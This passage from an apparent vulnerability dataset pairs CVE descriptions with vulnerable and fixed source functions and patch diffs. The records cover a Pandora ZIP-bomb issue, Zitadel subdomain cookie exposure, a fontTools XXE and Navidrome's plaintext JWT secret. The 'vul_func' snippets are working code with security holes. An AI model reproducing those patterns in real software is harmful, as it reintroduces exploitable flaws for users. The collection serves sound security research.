`json_unquote(json_extract(${this.quoteIdentifier(\n-            columnName)},'$${startWithDot ? '.' : ''}${path.join('.')}'))`;\n-        }\n-\n-        if (smth.value) {\n-          str += util.format(' = %s', this.escape(smth.value));\n-        }\n-\n-        return str;\n-      }\n-    } else if (smth instanceof Utils.Cast) {\n-      const lowType = smth.type.toLowerCase();\n-      if (lowType.includes('timestamp')) {\n-        smth.type = 'datetime';\n-      } else if (smth.json && lowType.includes('boolean')) {\n-        // true or false cannot be casted as booleans within a JSON structure\n-        smth.type = 'char';\n-      } else if (lowType.includes('double precision') || lowType.includes('boolean') || lowType.includes('integer')) {\n-        smth.type = 'decimal';\n-      } else if (lowType.includes('text')) {\n-        smth.type = 'char';\n-      }\n-    }\n-\n-    return super.handleSequelizeMethod(smth, tableName, factory, options, prepend);\n-  }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-22898", "cve_description": "workers/extractor.py in Pandora (aka pandora-analysis/pandora) 1.3.0 allows a denial of service when an attacker submits a deeply nested ZIP archive (aka ZIP bomb).", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/pandora-analysis/pandora", "patch_url": ["https://github.com/pandora-analysis/pandora/commit/1dc06327fdc07c56eae653e497dd137ec70d8265"], "programing_language": "Python", "vul_func": [{"id": "vul_py_244_1", "commit": "38a7195", "file_path": "pandora/workers/extractor.py", "start_line": 497, "end_line": 613, "snippet": "    def analyse(self, task: Task, report: Report, manual_trigger: bool=False):\n        # The files supported by dfvfs generally don't have proper mime types, so we just try it on everything.\n        dfvfs_info = self.check_dfvfs(task.file, True)\n        if not (task.file.is_archive or task.file.is_eml or task.file.is_msg or dfvfs_info):\n            report.status = Status.NOTAPPLICABLE\n            return\n\n        if not task.user:\n            raise PandoraException('The task user is missing. Should not happen, but investigate if it does.')\n\n        pandora = Pandora()\n\n        tasks: List[Task] = []\n        extracted_dir = task.file.directory / 'extracted'\n        safe_create_dir(extracted_dir)\n        extracted: Sequence[Union[Path, Tuple[str, BytesIO]]] = []\n\n        # Try to extract files from archive\n        # TODO: Support other archive formats\n        if task.file.is_archive:\n            if task.password:\n                self.passwords = [task.password]\n            else:\n                self.passwords = self.zip_passwords\n            try:\n                if task.file.mime_type == \"application/x-7z-compressed\":\n                    extracted = self._extract_7z(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/vnd.ms-cab-compressed\":\n                    extracted = self._extract_cab(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/x-rar\":\n                    extracted = self._extract_rar(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/x-bzip2\":\n                    extracted = self._extract_bz2(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/gzip\":\n                    extracted = self._extract_gz(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/x-tar\":\n                    extracted = self._extract_tar(task.file, report, extracted_dir)\n                elif task.file.mime_type in [\"application/x-lzma\", \"application/x-xz\", \"application/x-lzip\"]:\n                    extracted = self._extract_lzma(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/x-iso9660-image\":\n                    extracted = self._extract_iso(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/zip\":\n                    extracted = self._extract_zip(task.file, report, extracted_dir)\n                    if not extracted:\n                        report.clear_extras()\n                        report.clear_details()\n                        report.reset_status()\n                        extracted = self._extract_zip(task.file, report, extracted_dir, pyzipper.AESZipFile)\n                else:\n                    raise PandoraException(f'Unsupported mimetype: {task.file.mime_type}')\n            except BaseException as e:\n                report.status = Status.WARN\n                report.add_details('Warning', f'Unable to extract {task.file.path.name}: {e}.')\n                report.add_extra('no_password', True)\n                extracted = []\n                self.logger.exception(e)\n\n        # Try to extract attachments from EML file\n        if task.file.is_eml:\n            if not task.file.eml_data or 'attachment' not in task.file.eml_data or not task.file.eml_data['attachment']:\n                report.status = Status.NOTAPPLICABLE\n            else:\n                try:\n                    extracted = self.extract_eml(task.file.eml_data)\n                except Exception as e:\n                    self.logger.exception(e)\n\n        elif task.file.is_msg:\n            if not task.file.msg_data or not task.file.msg_data.attachments:\n                report.status = Status.NOTAPPLICABLE\n            else:\n                try:\n                    extracted = self.extract_msg(task.file.msg_data)\n                except Exception as e:\n                    self.logger.exception(e)\n\n        elif dfvfs_info:\n            # this is a dfvfs supported file\n            try:\n                extracted = self.extract_with_dfvfs(task.file, report)\n            except Exception as e:\n                self.logger.exception('dfVFS dislikes it.')\n                report.status = Status.WARN\n                report.add_details('Warning', f'Unable to process with dfVFS {task.file.path.name}: {e}.')\n\n        if not extracted and report.status != Status.NOTAPPLICABLE:\n            report.status = Status.WARN\n            report.add_details('Warning', 'Nothing to extract.')\n\n        for ef in extracted:\n            if isinstance(ef, Path):\n                filename = ef.name\n                with ef.open('rb') as f:\n                    sample = BytesIO(f.read())\n            else:\n                filename, sample = ef\n            new_task = Task.new_task(user=task.user, sample=sample,\n                                     filename=filename,\n                                     disabled_workers=task.disabled_workers,\n                                     parent=task)\n            pandora.add_extracted_reference(task, new_task)\n            pandora.enqueue_task(new_task)\n            tasks.append(new_task)\n\n        shutil.rmtree(extracted_dir)\n        # wait for all the tasks to finish\n        while not all(t.workers_done for t in tasks):\n            time.sleep(1)\n\n        if tasks:\n            report.status = max(t.status for t in tasks)\n            if report.status > Status.CLEAN:\n                report.add_details('Warning', 'There are suspicious files in this archive, click on the \"Extracted\" tab for more.')\n        elif not report.status == Status.NOTAPPLICABLE:\n            # Nothing was extracted\n            report.status = Status.WARN\n            report.add_details('Warning', 'Looks like the archive is empty (?). This is suspicious.')"}], "fix_func": [{"id": "fix_py_244_1", "commit": "1dc0632", "file_path": "pandora/workers/extractor.py", "start_line": 497, "end_line": 639, "snippet": "    def analyse(self, task: Task, report: Report, manual_trigger: bool=False):\n        # The files supported by dfvfs generally don't have proper mime types, so we just try it on everything.\n        dfvfs_info = self.check_dfvfs(task.file, True)\n        if not (task.file.is_archive or task.file.is_eml or task.file.is_msg or dfvfs_info):\n            report.status = Status.NOTAPPLICABLE\n            return\n\n        # Check if we reach the max recursivity (archive in archive in archive...)\n        _curtask = task\n        _cur_recurse = self.max_recurse\n        _cur_max_files_in_recurse = self.max_files_in_recursive_archive\n        while _cur_recurse > 0 and _cur_max_files_in_recurse > 0:\n            if not _curtask.parent:\n                break\n            _curtask = _curtask.parent\n            _cur_recurse -= 1\n            _cur_max_files_in_recurse -= len(_curtask.extracted)\n\n        if _cur_recurse <= 0:\n            self.logger.warning(f'File {task.file.path.name} is too deep in the recursion chain (>{self.max_recurse}).')\n            report.status = Status.ERROR if self.max_is_error else Status.ALERT\n            report.add_details('Warning', f'File {task.file.path.name} is too deep in the recursion chain (>{self.max_recurse}). If you want to scan it anyway, click on Actions > Rescan file.')\n            return\n\n        if _cur_max_files_in_recurse <= 0:\n            self.logger.warning(f'File {task.file.path.name} cannot be extracted, too many files (>{self.max_files_in_recursive_archive}) in the recursive archive.')\n            report.status = Status.ERROR if self.max_is_error else Status.ALERT\n            report.add_details('Warning', f'File {task.file.path.name} cannot be extracted, too many files (>{self.max_files_in_recursive_archive}) in the recursive archive. If you want to scan it anyway, click on Actions > Rescan file.')\n            return\n\n        if not task.user:\n            raise PandoraException('The task user is missing. Should not happen, but investigate if it does.')\n\n        pandora = Pandora()\n\n        tasks: List[Task] = []\n        extracted_dir = task.file.directory / 'extracted'\n        safe_create_dir(extracted_dir)\n        extracted: Sequence[Union[Path, Tuple[str, BytesIO]]] = []\n\n        # Try to extract files from archive\n        # TODO: Support other archive formats\n        if task.file.is_archive:\n            if task.password:\n                self.passwords = [task.password]\n            else:\n                self.passwords = self.zip_passwords\n            try:\n                if task.file.mime_type == \"application/x-7z-compressed\":\n                    extracted = self._extract_7z(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/vnd.ms-cab-compressed\":\n                    extracted = self._extract_cab(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/x-rar\":\n                    extracted = self._extract_rar(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/x-bzip2\":\n                    extracted = self._extract_bz2(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/gzip\":\n                    extracted = self._extract_gz(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/x-tar\":\n                    extracted = self._extract_tar(task.file, report, extracted_dir)\n                elif task.file.mime_type in [\"application/x-lzma\", \"application/x-xz\", \"application/x-lzip\"]:\n                    extracted = self._extract_lzma(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/x-iso9660-image\":\n                    extracted = self._extract_iso(task.file, report, extracted_dir)\n                elif task.file.mime_type == \"application/zip\":\n                    extracted = self._extract_zip(task.file, report, extracted_dir)\n                    if not extracted:\n                        report.clear_extras()\n                        report.clear_details()\n                        report.reset_status()\n                        extracted = self._extract_zip(task.file, report, extracted_dir, pyzipper.AESZipFile)\n                else:\n                    raise PandoraException(f'Unsupported mimetype: {task.file.mime_type}')\n            except BaseException as e:\n                report.status = Status.WARN\n                report.add_details('Warning', f'Unable to extract {task.file.path.name}: {e}.')\n                report.add_extra('no_password', True)\n                extracted = []\n                self.logger.exception(e)\n\n        # Try to extract attachments from EML file\n        if task.file.is_eml:\n            if not task.file.eml_data or 'attachment' not in task.file.eml_data or not task.file.eml_data['attachment']:\n                report.status = Status.NOTAPPLICABLE\n            else:\n                try:\n                    extracted = self.extract_eml(task.file.eml_data)\n                except Exception as e:\n                    self.logger.exception(e)\n\n        elif task.file.is_msg:\n            if not task.file.msg_data or not task.file.msg_data.attachments:\n                report.status = Status.NOTAPPLICABLE\n            else:\n                try:\n                    extracted = self.extract_msg(task.file.msg_data)\n                except Exception as e:\n                    self.logger.exception(e)\n\n        elif dfvfs_info:\n            # this is a dfvfs supported file\n            try:\n                extracted = self.extract_with_dfvfs(task.file, report)\n            except Exception as e:\n                self.logger.exception('dfVFS dislikes it.')\n                report.status = Status.WARN\n                report.add_details('Warning', f'Unable to process with dfVFS {task.file.path.name}: {e}.')\n\n        if not extracted and report.status != Status.NOTAPPLICABLE:\n            report.status = Status.WARN\n            report.add_details('Warning', 'Nothing to extract.')\n\n        for ef in extracted:\n            if isinstance(ef, Path):\n                filename = ef.name\n                with ef.open('rb') as f:\n                    sample = BytesIO(f.read())\n            else:\n                filename, sample = ef\n            new_task = Task.new_task(user=task.user, sample=sample,\n                                     filename=filename,\n                                     disabled_workers=task.disabled_workers,\n                                     parent=task)\n            pandora.add_extracted_reference(task, new_task)\n            pandora.enqueue_task(new_task)\n            tasks.append(new_task)\n\n        shutil.rmtree(extracted_dir)\n\n        if not tasks and not report.status == Status.NOTAPPLICABLE:\n            # Nothing was extracted\n            report.status = Status.WARN\n            report.add_details('Warning', 'Looks like the archive is empty (?). This is suspicious.')\n        elif report.status not in [Status.ERROR, Status.WARN, Status.ALERT, Status.OVERWRITE]:\n            # wait for all the workers to finish, or have one of them raising an ALERT\n            while not all(t.workers_done for t in tasks):\n                for t in tasks:\n                    # If any of the task is marked as ALERT or OVERWRITE, we can quit.\n                    if t.workers_done and t.status >= Status.ALERT:\n                        report.add_details('Warning', 'There are suspicious files in this archive, click on the \"Extracted\" tab for more.')\n                        break\n                time.sleep(1)\n            report.status = max(t.status for t in tasks if t.workers_done)"}], "vul_patch": "--- a/pandora/workers/extractor.py\n+++ b/pandora/workers/extractor.py\n@@ -3,6 +3,29 @@\n         dfvfs_info = self.check_dfvfs(task.file, True)\n         if not (task.file.is_archive or task.file.is_eml or task.file.is_msg or dfvfs_info):\n             report.status = Status.NOTAPPLICABLE\n+            return\n+\n+        # Check if we reach the max recursivity (archive in archive in archive...)\n+        _curtask = task\n+        _cur_recurse = self.max_recurse\n+        _cur_max_files_in_recurse = self.max_files_in_recursive_archive\n+        while _cur_recurse > 0 and _cur_max_files_in_recurse > 0:\n+            if not _curtask.parent:\n+                break\n+            _curtask = _curtask.parent\n+            _cur_recurse -= 1\n+            _cur_max_files_in_recurse -= len(_curtask.extracted)\n+\n+        if _cur_recurse <= 0:\n+            self.logger.warning(f'File {task.file.path.name} is too deep in the recursion chain (>{self.max_recurse}).')\n+            report.status = Status.ERROR if self.max_is_error else Status.ALERT\n+            report.add_details('Warning', f'File {task.file.path.name} is too deep in the recursion chain (>{self.max_recurse}). If you want to scan it anyway, click on Actions > Rescan file.')\n+            return\n+\n+        if _cur_max_files_in_recurse <= 0:\n+            self.logger.warning(f'File {task.file.path.name} cannot be extracted, too many files (>{self.max_files_in_recursive_archive}) in the recursive archive.')\n+            report.status = Status.ERROR if self.max_is_error else Status.ALERT\n+            report.add_details('Warning', f'File {task.file.path.name} cannot be extracted, too many files (>{self.max_files_in_recursive_archive}) in the recursive archive. If you want to scan it anyway, click on Actions > Rescan file.')\n             return\n \n         if not task.user:\n@@ -103,15 +126,18 @@\n             tasks.append(new_task)\n \n         shutil.rmtree(extracted_dir)\n-        # wait for all the tasks to finish\n-        while not all(t.workers_done for t in tasks):\n-            time.sleep(1)\n \n-        if tasks:\n-            report.status = max(t.status for t in tasks)\n-            if report.status > Status.CLEAN:\n-                report.add_details('Warning', 'There are suspicious files in this archive, click on the \"Extracted\" tab for more.')\n-        elif not report.status == Status.NOTAPPLICABLE:\n+        if not tasks and not report.status == Status.NOTAPPLICABLE:\n             # Nothing was extracted\n             report.status = Status.WARN\n             report.add_details('Warning', 'Looks like the archive is empty (?). This is suspicious.')\n+        elif report.status not in [Status.ERROR, Status.WARN, Status.ALERT, Status.OVERWRITE]:\n+            # wait for all the workers to finish, or have one of them raising an ALERT\n+            while not all(t.workers_done for t in tasks):\n+                for t in tasks:\n+                    # If any of the task is marked as ALERT or OVERWRITE, we can quit.\n+                    if t.workers_done and t.status >= Status.ALERT:\n+                        report.add_details('Warning', 'There are suspicious files in this archive, click on the \"Extracted\" tab for more.')\n+                        break\n+                time.sleep(1)\n+            report.status = max(t.status for t in tasks if t.workers_done)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-28197", "cve_description": "Zitadel is an open source identity management system. Zitadel uses a cookie to identify the user agent (browser) and its user sessions.  Although the cookie was handled according to best practices, it was accessible on subdomains of the ZITADEL instance. An attacker could take advantage of this and provide a malicious link hosted on the subdomain to the user to gain access to the victim\u2019s account in certain scenarios. A possible victim would need to login through the malicious link for this exploit to work. If the possible victim already had the cookie present, the attack would not succeed. The attack would further only be possible if there was an initial vulnerability on the subdomain. This could either be the attacker being able to control DNS or a XSS vulnerability in an application hosted on a subdomain. Versions 2.46.0, 2.45.1, and 2.44.3 have been patched. Zitadel recommends upgrading to the latest versions available in due course. Note that applying the patch will invalidate the current cookie and thus users will need to start a new session and existing sessions (user selection) will be empty. For self-hosted environments unable to upgrade to a patched version, prevent setting the following cookie name on subdomains of your Zitadel instance (e.g. within your WAF): `__Secure-zitadel-useragent`.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/zitadel/zitadel", "patch_url": ["https://github.com/zitadel/zitadel/commit/e82cb51eb819c6cdba8123c9c34c5739b46b29eb", "https://github.com/zitadel/zitadel/commit/d4c553b75a214e41299af010ef4b26174a0f802c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_114_1", "commit": "b7cea4b", "file_path": "internal/api/http/cookie.go", "start_line": 144, "end_line": 167, "snippet": "func (c *CookieHandler) httpSetWithSameSite(w http.ResponseWriter, name, host, value string, maxAge int, sameSite http.SameSite) {\n\tdomain := strings.Split(host, \":\")[0]\n\t// same site none requires the secure flag, so we'll set it even if the cookie is set on non-TLS for localhost\n\tsecure := c.secureOnly || (sameSite == http.SameSiteNoneMode && domain == \"localhost\")\n\t// prefix the cookie for secure cookies (TLS only, therefore not for samesite none on http://localhost)\n\tprefixedName := SetCookiePrefix(name, c.secureOnly, c.prefix)\n\thttp.SetCookie(w, &http.Cookie{\n\t\tName:     prefixedName,\n\t\tValue:    value,\n\t\tDomain:   domain,\n\t\tPath:     c.path,\n\t\tMaxAge:   maxAge,\n\t\tHttpOnly: c.httpOnly,\n\t\tSecure:   secure,\n\t\tSameSite: sameSite,\n\t})\n\tvaryValues := w.Header().Values(\"vary\")\n\tfor _, vary := range varyValues {\n\t\tif vary == \"Cookie\" {\n\t\t\treturn\n\t\t}\n\t}\n\tw.Header().Add(\"vary\", \"Cookie\")\n}"}, {"id": "vul_go_114_2", "commit": "b7cea4b", "file_path": "internal/api/http/middleware/user_agent_cookie.go", "start_line": 45, "end_line": 63, "snippet": "func NewUserAgentHandler(config *UserAgentCookieConfig, cookieKey []byte, idGenerator id.Generator, externalSecure bool, ignoredPrefixes ...string) (func(http.Handler) http.Handler, error) {\n\topts := []http_utils.CookieHandlerOpt{\n\t\thttp_utils.WithEncryption(cookieKey, cookieKey),\n\t\thttp_utils.WithMaxAge(int(config.MaxAge.Seconds())),\n\t\thttp_utils.WithPrefix(http_utils.PrefixSecure),\n\t}\n\tif !externalSecure {\n\t\topts = append(opts, http_utils.WithUnsecure())\n\t}\n\treturn func(handler http.Handler) http.Handler {\n\t\treturn &userAgentHandler{\n\t\t\tnextHandler:     handler,\n\t\t\tcookieName:      config.Name,\n\t\t\tcookieHandler:   http_utils.NewCookieHandler(opts...),\n\t\t\tidGenerator:     idGenerator,\n\t\t\tignoredPrefixes: ignoredPrefixes,\n\t\t}\n\t}, nil\n}"}], "fix_func": [{"id": "fix_go_114_1", "commit": "e82cb51", "file_path": "internal/api/http/cookie.go", "start_line": 144, "end_line": 171, "snippet": "func (c *CookieHandler) httpSetWithSameSite(w http.ResponseWriter, name, host, value string, maxAge int, sameSite http.SameSite) {\n\tdomain := strings.Split(host, \":\")[0]\n\t// same site none requires the secure flag, so we'll set it even if the cookie is set on non-TLS for localhost\n\tsecure := c.secureOnly || (sameSite == http.SameSiteNoneMode && domain == \"localhost\")\n\t// prefix the cookie for secure cookies (TLS only, therefore not for samesite none on http://localhost)\n\tprefixedName := SetCookiePrefix(name, c.secureOnly, c.prefix)\n\t// in case the host prefix is set, we need to make sure the domain is not set (otherwise the browser will reject the cookie)\n\tif secure && c.prefix == PrefixHost {\n\t\tdomain = \"\"\n\t}\n\thttp.SetCookie(w, &http.Cookie{\n\t\tName:     prefixedName,\n\t\tValue:    value,\n\t\tDomain:   domain,\n\t\tPath:     c.path,\n\t\tMaxAge:   maxAge,\n\t\tHttpOnly: c.httpOnly,\n\t\tSecure:   secure,\n\t\tSameSite: sameSite,\n\t})\n\tvaryValues := w.Header().Values(\"vary\")\n\tfor _, vary := range varyValues {\n\t\tif vary == \"Cookie\" {\n\t\t\treturn\n\t\t}\n\t}\n\tw.Header().Add(\"vary\", \"Cookie\")\n}"}, {"id": "fix_go_114_2", "commit": "e82cb51", "file_path": "internal/api/http/middleware/user_agent_cookie.go", "start_line": 45, "end_line": 63, "snippet": "func NewUserAgentHandler(config *UserAgentCookieConfig, cookieKey []byte, idGenerator id.Generator, externalSecure bool, ignoredPrefixes ...string) (func(http.Handler) http.Handler, error) {\n\topts := []http_utils.CookieHandlerOpt{\n\t\thttp_utils.WithEncryption(cookieKey, cookieKey),\n\t\thttp_utils.WithMaxAge(int(config.MaxAge.Seconds())),\n\t\thttp_utils.WithPrefix(http_utils.PrefixHost),\n\t}\n\tif !externalSecure {\n\t\topts = append(opts, http_utils.WithUnsecure())\n\t}\n\treturn func(handler http.Handler) http.Handler {\n\t\treturn &userAgentHandler{\n\t\t\tnextHandler:     handler,\n\t\t\tcookieName:      config.Name,\n\t\t\tcookieHandler:   http_utils.NewCookieHandler(opts...),\n\t\t\tidGenerator:     idGenerator,\n\t\t\tignoredPrefixes: ignoredPrefixes,\n\t\t}\n\t}, nil\n}"}], "vul_patch": "--- a/internal/api/http/cookie.go\n+++ b/internal/api/http/cookie.go\n@@ -4,6 +4,10 @@\n \tsecure := c.secureOnly || (sameSite == http.SameSiteNoneMode && domain == \"localhost\")\n \t// prefix the cookie for secure cookies (TLS only, therefore not for samesite none on http://localhost)\n \tprefixedName := SetCookiePrefix(name, c.secureOnly, c.prefix)\n+\t// in case the host prefix is set, we need to make sure the domain is not set (otherwise the browser will reject the cookie)\n+\tif secure && c.prefix == PrefixHost {\n+\t\tdomain = \"\"\n+\t}\n \thttp.SetCookie(w, &http.Cookie{\n \t\tName:     prefixedName,\n \t\tValue:    value,\n\n--- a/internal/api/http/middleware/user_agent_cookie.go\n+++ b/internal/api/http/middleware/user_agent_cookie.go\n@@ -2,7 +2,7 @@\n \topts := []http_utils.CookieHandlerOpt{\n \t\thttp_utils.WithEncryption(cookieKey, cookieKey),\n \t\thttp_utils.WithMaxAge(int(config.MaxAge.Seconds())),\n-\t\thttp_utils.WithPrefix(http_utils.PrefixSecure),\n+\t\thttp_utils.WithPrefix(http_utils.PrefixHost),\n \t}\n \tif !externalSecure {\n \t\topts = append(opts, http_utils.WithUnsecure())\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-45139", "cve_description": "fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.", "cwe_info": {"CWE-611": {"name": "Improper Restriction of XML External Entity Reference", "description": "The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output."}}, "repo": "https://github.com/fonttools/fonttools", "patch_url": ["https://github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_283_1", "commit": "74240af", "file_path": "Lib/fontTools/subset/svg.py", "start_line": 194, "end_line": 251, "snippet": "def subset_glyphs(self, s) -> bool:\n    if etree is None:\n        raise ImportError(\"No module named 'lxml', required to subset SVG\")\n\n    # glyph names (before subsetting)\n    glyph_order: List[str] = s.orig_glyph_order\n    # map from glyph names to original glyph indices\n    rev_orig_glyph_map: Dict[str, int] = s.reverseOrigGlyphMap\n    # map from original to new glyph indices (after subsetting)\n    glyph_index_map: Dict[int, int] = s.glyph_index_map\n\n    new_docs: List[SVGDocument] = []\n    for doc in self.docList:\n\n        glyphs = {\n            glyph_order[i] for i in range(doc.startGlyphID, doc.endGlyphID + 1)\n        }.intersection(s.glyphs)\n        if not glyphs:\n            # no intersection: we can drop the whole record\n            continue\n\n        svg = etree.fromstring(\n            # encode because fromstring dislikes xml encoding decl if input is str.\n            # SVG xml encoding must be utf-8 as per OT spec.\n            doc.data.encode(\"utf-8\"),\n            parser=etree.XMLParser(\n                # Disable libxml2 security restrictions to support very deep trees.\n                # Without this we would get an error like this:\n                # `lxml.etree.XMLSyntaxError: internal error: Huge input lookup`\n                # when parsing big fonts e.g. noto-emoji-picosvg.ttf.\n                huge_tree=True,\n                # ignore blank text as it's not meaningful in OT-SVG; it also prevents\n                # dangling tail text after removing an element when pretty_print=True\n                remove_blank_text=True,\n            ),\n        )\n\n        elements = group_elements_by_id(svg)\n        gids = {rev_orig_glyph_map[g] for g in glyphs}\n        element_ids = {f\"glyph{i}\" for i in gids}\n        closure_element_ids(elements, element_ids)\n\n        if not subset_elements(svg, element_ids):\n            continue\n\n        if not s.options.retain_gids:\n            id_map = remap_glyph_ids(svg, glyph_index_map)\n            update_glyph_href_links(svg, id_map)\n\n        new_doc = etree.tostring(svg, pretty_print=s.options.pretty_svg).decode(\"utf-8\")\n\n        new_gids = (glyph_index_map[i] for i in gids)\n        for start, end in ranges(new_gids):\n            new_docs.append(SVGDocument(new_doc, start, end, doc.compressed))\n\n    self.docList = new_docs\n\n    return bool(self.docList)"}], "fix_func": [{"id": "fix_py_283_1", "commit": "9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c", "file_path": "Lib/fontTools/subset/svg.py", "start_line": 194, "end_line": 254, "snippet": "def subset_glyphs(self, s) -> bool:\n    if etree is None:\n        raise ImportError(\"No module named 'lxml', required to subset SVG\")\n\n    # glyph names (before subsetting)\n    glyph_order: List[str] = s.orig_glyph_order\n    # map from glyph names to original glyph indices\n    rev_orig_glyph_map: Dict[str, int] = s.reverseOrigGlyphMap\n    # map from original to new glyph indices (after subsetting)\n    glyph_index_map: Dict[int, int] = s.glyph_index_map\n\n    new_docs: List[SVGDocument] = []\n    for doc in self.docList:\n\n        glyphs = {\n            glyph_order[i] for i in range(doc.startGlyphID, doc.endGlyphID + 1)\n        }.intersection(s.glyphs)\n        if not glyphs:\n            # no intersection: we can drop the whole record\n            continue\n\n        svg = etree.fromstring(\n            # encode because fromstring dislikes xml encoding decl if input is str.\n            # SVG xml encoding must be utf-8 as per OT spec.\n            doc.data.encode(\"utf-8\"),\n            parser=etree.XMLParser(\n                # Disable libxml2 security restrictions to support very deep trees.\n                # Without this we would get an error like this:\n                # `lxml.etree.XMLSyntaxError: internal error: Huge input lookup`\n                # when parsing big fonts e.g. noto-emoji-picosvg.ttf.\n                huge_tree=True,\n                # ignore blank text as it's not meaningful in OT-SVG; it also prevents\n                # dangling tail text after removing an element when pretty_print=True\n                remove_blank_text=True,\n                # don't replace entities; we don't expect any in OT-SVG and they may\n                # aboused for XXE attacks\n                resolve_entities=False,\n            ),\n        )\n\n        elements = group_elements_by_id(svg)\n        gids = {rev_orig_glyph_map[g] for g in glyphs}\n        element_ids = {f\"glyph{i}\" for i in gids}\n        closure_element_ids(elements, element_ids)\n\n        if not subset_elements(svg, element_ids):\n            continue\n\n        if not s.options.retain_gids:\n            id_map = remap_glyph_ids(svg, glyph_index_map)\n            update_glyph_href_links(svg, id_map)\n\n        new_doc = etree.tostring(svg, pretty_print=s.options.pretty_svg).decode(\"utf-8\")\n\n        new_gids = (glyph_index_map[i] for i in gids)\n        for start, end in ranges(new_gids):\n            new_docs.append(SVGDocument(new_doc, start, end, doc.compressed))\n\n    self.docList = new_docs\n\n    return bool(self.docList)"}], "vul_patch": "--- a/Lib/fontTools/subset/svg.py\n+++ b/Lib/fontTools/subset/svg.py\n@@ -32,6 +32,9 @@\n                 # ignore blank text as it's not meaningful in OT-SVG; it also prevents\n                 # dangling tail text after removing an element when pretty_print=True\n                 remove_blank_text=True,\n+                # don't replace entities; we don't expect any in OT-SVG and they may\n+                # aboused for XXE attacks\n+                resolve_entities=False,\n             ),\n         )\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-56362", "cve_description": "Navidrome is an open source web-based music collection server and streamer. Navidrome stores the JWT secret in plaintext in the navidrome.db database file under the property table. This practice introduces a security risk because anyone with access to the database file can retrieve the secret. This vulnerability is fixed in 0.54.1.", "cwe_info": {"CWE-312": {"name": "Cleartext Storage of Sensitive Information", "description": "The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere."}}, "repo": "https://github.com/navidrome/navidrome", "patch_url": ["https://github.com/navidrome/navidrome/commit/7f030b0859653593fd2ac0df69f4a313f9caf9ff"], "programing_language": "Go", "vul_func": [{"id": "vul_go_77_1", "commit": "177a1f853f1e1fe55f2b951873a12c634fa851ce", "file_path": "core/auth/auth.go", "start_line": 24, "end_line": 35, "snippet": "func Init(ds model.DataStore) {\n\tonce.Do(func() {\n\t\tlog.Info(\"Setting Session Timeout\", \"value\", conf.Server.SessionTimeout)\n\t\tsecret, err := ds.Property(context.TODO()).Get(consts.JWTSecretKey)\n\t\tif err != nil || secret == \"\" {\n\t\t\tlog.Error(\"No JWT secret found in DB. Setting a temp one, but please report this error\", err)\n\t\t\tsecret = uuid.NewString()\n\t\t}\n\t\tSecret = []byte(secret)\n\t\tTokenAuth = jwtauth.New(\"HS256\", Secret, nil)\n\t})\n}"}], "fix_func": [{"id": "fix_go_77_1", "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff", "file_path": "core/auth/auth.go", "start_line": 28, "end_line": 45, "snippet": "func Init(ds model.DataStore) {\n\tonce.Do(func() {\n\t\tctx := context.TODO()\n\t\tlog.Info(\"Setting Session Timeout\", \"value\", conf.Server.SessionTimeout)\n\n\t\tsecret, err := ds.Property(ctx).Get(consts.JWTSecretKey)\n\t\tif err != nil || secret == \"\" {\n\t\t\tsecret = createNewSecret(ctx, ds)\n\t\t} else {\n\t\t\tif secret, err = utils.Decrypt(ctx, getEncKey(), secret); err != nil {\n\t\t\t\tlog.Error(ctx, \"Could not decrypt JWT secret, creating a new one\", err)\n\t\t\t\tsecret = createNewSecret(ctx, ds)\n\t\t\t}\n\t\t}\n\n\t\tTokenAuth = jwtauth.New(\"HS256\", []byte(secret), nil)\n\t})\n}"}, {"id": "fix_go_77_2", "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff", "file_path": "core/auth/auth.go", "start_line": 21, "end_line": 24, "snippet": "var (\n\tonce      sync.Once\n\tTokenAuth *jwtauth.JWTAuth\n)"}, {"id": "fix_go_77_3", "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff", "file_path": "utils/encrypt.go", "start_line": 40, "end_line": 72, "snippet": "func Decrypt(ctx context.Context, encKey []byte, encData string) (value string, err error) {\n\t// Recover from any panics\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tlog.Error(ctx, \"Panic during decryption\", r)\n\t\t\terr = errors.New(\"decryption 